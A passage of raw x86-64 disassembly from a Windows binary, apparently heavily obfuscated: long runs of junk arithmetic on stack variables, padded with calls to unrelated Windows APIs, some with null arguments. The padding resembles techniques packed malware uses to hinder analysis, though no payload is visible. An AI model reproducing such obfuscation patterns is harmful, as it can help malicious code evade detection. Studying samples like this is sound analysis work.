mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x57b0]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140177394], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb1f8], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
sub eax, ecx
mov byte [rsp + 0x39c], al
movzx eax, word [0x140177390]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb180]
mov rcx, qword [rsp + 0xb138]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0xb188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x4b3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x57c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57a8], eax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
and eax, ecx
mov word [rsp + 0x1ba0], ax
movzx eax, word [rsp + 0x1a2c]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfe8], ax
cmp dword [rsp + 0x57c0], 0x8271
ja 0x14000f5b4
mov rax, qword [rsp + 0xa240]
movzx ecx, al
mov rax, qword [rsp + 0x92c8]
shl rax, cl
mov qword [0x140177398], rax
mov dword [rsp + 0x582c], 0xc04d
movsx eax, byte [rsp + 0x39d]
movsx ecx, byte [rsp + 0x39a]
xor eax, ecx
mov byte [rsp + 0x38b], al
cmp dword [rsp + 0x57e8], 0x16cb
jbe 0x14000ffb9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39c]
sar eax, cl
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0xa240]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
sub eax, ecx
mov word [rsp + 0x1bb8], ax
mov eax, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x4b3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [0x140177394]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x57b0], eax
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0x9800]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39e]
add eax, ecx
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57a8]
sub ecx, eax
mov eax, ecx
mov dword [0x140177394], eax
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0xb180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfe8]
sub eax, ecx
mov word [rsp + 0x1ba4], ax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
add eax, ecx
mov word [rsp + 0x1bb0], ax
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [rsp + 0x39e]
and eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0xb1c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x57a8]
shr eax, cl
mov dword [rsp + 0x57b0], eax
mov edx, 0x4884e2
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5824], eax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x4b3c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5808], eax
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x5824], eax
mov eax, dword [rsp + 0x57e8]
sub eax, 0x9d
mov dword [rsp + 0x57e8], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38b]
shl eax, cl
mov byte [rsp + 0x39a], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xa240]
mov rcx, qword [rsp + 0xb138]
add rcx, rax
mov rax, rcx
mov qword [0x140177398], rax
movzx eax, word [rsp + 0x1bb8]
movzx ecx, word [rsp + 0x1ba4]
add eax, ecx
mov word [rsp + 0x1188], ax
movsx eax, word [rsp + 0x1ba8]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bb0], ax
movzx eax, byte [rsp + 0x39b]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0xb138]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
mov eax, dword [rsp + 0x4b3c]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [0x140177394]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5814], eax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0xb188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [rsp + 0x39c]
sub eax, ecx
mov byte [rsp + 0x39e], al
movzx eax, word [rsp + 0x1ba4]
movzx ecx, word [rsp + 0xfe8]
sub eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
mov eax, dword [rsp + 0x5814]
mov ecx, dword [rsp + 0x57c8]
add ecx, eax
mov eax, ecx
mov dword [0x140177394], eax
mov rax, qword [rsp + 0x92c8]
movzx ecx, al
mov rax, qword [rsp + 0xb180]
sar rax, cl
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0x92c8]
movzx ecx, al
mov rax, qword [rsp + 0xa240]
shl rax, cl
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1188]
or eax, ecx
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rsp + 0x5808]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4b3c], eax
mov eax, dword [rsp + 0x57c8]
mov ecx, dword [rsp + 0x57b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x57a8], eax
movsx eax, byte [rsp + 0x39d]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39a], al
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0x9800]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
and eax, ecx
mov word [rsp + 0x1b98], ax
movsx eax, word [rsp + 0x1ba8]
movsx ecx, word [rsp + 0x1b98]
sub eax, ecx
mov rcx, qword [rsp + 0xb150]
mov word [rcx], ax
movzx eax, byte [rsp + 0x39c]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39c]
add eax, ecx
mov byte [rsp + 0x39e], al
movzx eax, word [0x140177390]
movzx ecx, word [rsp + 0xfe8]
add eax, ecx
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5814], eax
jmp 0x14000faee
lea rax, [0x140183b44]
mov qword [rsp + 0xb200], rax
cmp dword [rsp + 0x57dc], 0xd1dd
jae 0x1400101c7
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0x9800]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb180]
mov rcx, qword [rsp + 0xb138]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39c]
shl eax, cl
mov byte [rsp + 0x1fa], al
movzx eax, word [rsp + 0x1bb8]
movzx ecx, word [rsp + 0x1b94]
sar eax, cl
mov word [0x140177390], ax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
and eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0xa240]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [0x140177398]
mov rcx, qword [rsp + 0xb180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb138], rax
lea rdx, [rsp + 0x1a1b0]
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5830], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
sub eax, ecx
mov byte [rsp + 0x39c], al
movsx eax, byte [rsp + 0x38b]
movsx ecx, byte [rsp + 0x39a]
sub eax, ecx
mov byte [rsp + 0x39d], al
lea rdx, [rsp + 0xb208]
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5824], eax
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5828], eax
mov eax, dword [rsp + 0x57dc]
add eax, 0x7b
mov dword [rsp + 0x57dc], eax
mov eax, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x4b3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb200]
mov dword [rcx], eax
mov eax, dword [rsp + 0x57c8]
mov ecx, dword [rsp + 0x5814]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57a8], eax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0xb188]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a2c]
add eax, ecx
mov word [0x140177390], ax
movzx eax, word [0x140177390]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b94], ax
jmp 0x14000ffc8
cmp dword [rsp + 0x57e0], 0xed9d
jb 0x1400104fd
movzx eax, byte [rsp + 0x39e]
movzx ecx, byte [rsp + 0x39b]
xor eax, ecx
mov byte [rsp + 0x1fa], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfe8]
shl eax, cl
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
or eax, ecx
mov word [rsp + 0x1bb0], ax
movzx eax, word [0x140177390]
movzx ecx, word [rsp + 0x1bb8]
sar eax, cl
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
lea rdx, [rsp + 0x1a1e8]
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5824], eax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x5814]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x57c8], eax
mov rax, qword [0x140177398]
mov rcx, qword [rsp + 0xa240]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
sub eax, ecx
mov byte [0x140183b48], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [0x140177390]
sub eax, ecx
mov word [rsp + 0xfe8], ax
movzx eax, byte [rsp + 0x39e]
movzx ecx, byte [rsp + 0x39c]
add eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x38b]
movsx ecx, byte [rsp + 0x39d]
and eax, ecx
mov byte [rsp + 0x39a], al
mov rax, qword [0x140177398]
mov rcx, qword [rsp + 0xb138]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov eax, dword [rsp + 0x57e0]
sub eax, 0x84
mov dword [rsp + 0x57e0], eax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x57a8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57b0], eax
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0xa2c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rsp + 0x4b3c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5808], eax
movsx eax, word [rsp + 0x1bb0]
movsx ecx, word [rsp + 0x1b98]
sar eax, cl
mov word [rsp + 0x1ba0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movzx eax, byte [rsp + 0x1fa]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140183b48], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ba4]
shl eax, cl
mov word [rsp + 0x1188], ax
lea rdx, [rsp + 0xb210]
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x57fc], eax
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0x92c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
movsx eax, byte [rsp + 0x39a]
movsx ecx, byte [rsp + 0x39d]
sub eax, ecx
mov rcx, qword [rsp + 0xb140]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1fa]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x39e], al
movzx eax, word [rsp + 0x1b94]
movzx ecx, word [rsp + 0x1bb8]
add eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov eax, dword [rsp + 0x5814]
mov ecx, dword [rsp + 0x57b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57a8], eax
mov rax, qword [rsp + 0xb200]
mov ecx, dword [rsp + 0x4b3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb160]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b94]
add eax, ecx
mov word [rsp + 0x1ba4], ax
jmp 0x1400101c7
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
imul eax, eax, 0x59
mov byte [0x140177039], al
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
and eax, ecx
movsx ecx, word [rsp + 0x1bb0]
movsx edx, word [rsp + 0x1ba0]
sub ecx, edx
cmp eax, ecx
jge 0x1400105ee
mov rax, qword [rsp + 0xb1c8]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0xb140]
movzx r9d, byte [rax]
mov r8d, dword [rsp + 0x5808]
mov rdx, qword [rsp + 0xb188]
mov rax, qword [rsp + 0xb140]
movzx ecx, byte [rax]
call fcn.14015b380
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
xor eax, ecx
mov rcx, qword [rsp + 0xb150]
mov word [rcx], ax
lea rcx, [rsp + 0xb200]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xb218], rax
mov rax, qword [rsp + 0xb180]
movzx ecx, al
mov rax, qword [rsp + 0xb138]
shl rax, cl
mov qword [rsp + 0x92c8], rax
movsx eax, byte [rsp + 0x39a]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x38b], al
jmp 0x1400106eb
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b94]
sar eax, cl
movzx ecx, word [rsp + 0x1188]
movzx edx, word [rsp + 0x1a2c]
or ecx, edx
cmp eax, ecx
jle 0x1400106eb
movzx eax, byte [rsp + 0x1fa]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x39b], al
mov r9, qword [rsp + 0xb220]
mov r8, qword [rsp + 0xb198]
mov rdx, qword [rsp + 0xb198]
mov rcx, qword [rsp + 0xb228]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x5834], eax
movzx eax, word [rsp + 0x1188]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a2c], ax
mov rax, qword [rsp + 0xb1c8]
mov rcx, qword [rsp + 0xb188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x57b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57a8], eax
mov eax, dword [0x140183b44]
mov ecx, dword [rsp + 0x5834]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5808], eax
mov eax, dword [rsp + 0x57c8]
mov ecx, dword [rsp + 0x57b0]
sub ecx, eax
mov eax, ecx
mov dword [0x140177394], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fa]
add eax, ecx
mov byte [rsp + 0x39c], al
movsx eax, byte [rsp + 0x39a]
movsx ecx, byte [rsp + 0x39d]
sub eax, ecx
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x38b]
and ecx, edx
cmp eax, ecx
jne 0x140010781
mov eax, dword [rsp + 0x5814]
mov ecx, dword [rsp + 0x57b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x57a8], eax
mov eax, dword [rsp + 0x5834]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x4b3c]
mov r8d, dword [rsp + 0x4b3c]
mov edx, dword [rsp + 0x4b3c]
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rax]
call fcn.14015b160
jmp 0x14015ae26
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov dword [rsp + 0x5834], eax
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0x9800]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
movzx eax, byte [rsp + 0x39c]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140183b48], al
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1ba0]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38b]
sub eax, ecx
mov byte [rsp + 0x39a], al
movzx eax, word [rsp + 0x1188]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb8], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5828], eax
mov rax, qword [rsp + 0xb180]
mov rcx, qword [rsp + 0x92c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
movzx eax, word [rsp + 0x1bb8]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5834]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0xb1c8]
movzx ecx, al
mov rax, qword [rsp + 0xb1e0]
shl rax, cl
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x5814]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x57b0], eax
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [0x140177038]
sar eax, cl
mov byte [0x140183b48], al
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
or eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [0x140177398]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1bb0]
sub eax, ecx
mov word [rsp + 0x1ba8], ax
mov ecx, ILRemoveLastID
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x57fc], eax
movzx eax, word [rsp + 0xfe8]
movzx ecx, word [0x140177390]
sub eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x39e]
movzx ecx, byte [rsp + 0x1fa]
and eax, ecx
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5834], eax
mov rax, qword [rsp + 0xb1c8]
mov rcx, qword [rsp + 0xb1e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5814]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57b0], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39a]
add eax, ecx
mov byte [0x140177039], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bb8]
add eax, ecx
mov word [rsp + 0x1a2c], ax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
xor eax, ecx
mov rcx, qword [rsp + 0xb150]
mov word [rcx], ax
mov edx, 0x464bc
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5838], eax
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x5830], eax
movzx eax, byte [rsp + 0x39c]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x39e], al
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0x92c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0x92c8]
movzx ecx, al
mov rax, qword [rsp + 0xb138]
sar rax, cl
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0xb200]
mov rcx, qword [rsp + 0xb160]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5808], eax
mov eax, dword [rsp + 0x57f4]
add eax, 0xd6
mov dword [rsp + 0x57f4], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5814], eax
mov rax, qword [rsp + 0xb1c8]
mov rcx, qword [rsp + 0x9800]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bb8]
sub eax, ecx
mov word [rsp + 0x1ba4], ax
movzx eax, byte [rsp + 0x39e]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140177038], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rdx, [rsp + 0x1a1e8]
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5838], eax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
and eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xa240]
mov rcx, qword [rsp + 0xb138]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
mov rax, qword [0x140177398]
mov rcx, qword [rsp + 0xb180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb138], rax
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [rsp + 0x39c]
add eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0xb1c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5808]
sar eax, cl
mov dword [rsp + 0x4b3c], eax
movsx eax, byte [rsp + 0x39a]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x39d], al
cmp dword [rsp + 0x57f4], 0xa0a8
jb 0x140010781
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb230], rax
lea rcx, [rsp + 0x187e8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [rsp + 0x4b3c]
mov dword [rsp + 0x583c], eax
cmp dword [rsp + 0x583c], 0x4c93
je 0x140010cdb
cmp dword [rsp + 0x583c], 0x6697
je 0x140010dd8
jmp 0x140010e44
mov edx, 0xc0
mov rcx, qword [rsp + 0xb238]
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [rsp + 0x57f0], eax
mov eax, dword [rsp + 0x5814]
movzx ecx, al
mov eax, dword [rsp + 0x57a8]
shl eax, cl
mov dword [rsp + 0x57c8], eax
movzx eax, word [rsp + 0x1188]
movzx ecx, word [rsp + 0x1bb8]
or eax, ecx
mov word [0x140177390], ax
movzx eax, word [rsp + 0x1bb8]
movzx ecx, word [rsp + 0x1188]
and eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
lea rdx, [rsp + 0xb228]
lea rcx, [rsp + 0xb220]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0xb240], rax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
add eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
sub eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0xb1c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
jmp 0x140010e44
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5834]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [0x140177394]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5814], eax
mov eax, dword [rsp + 0x4b3c]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0xb160]
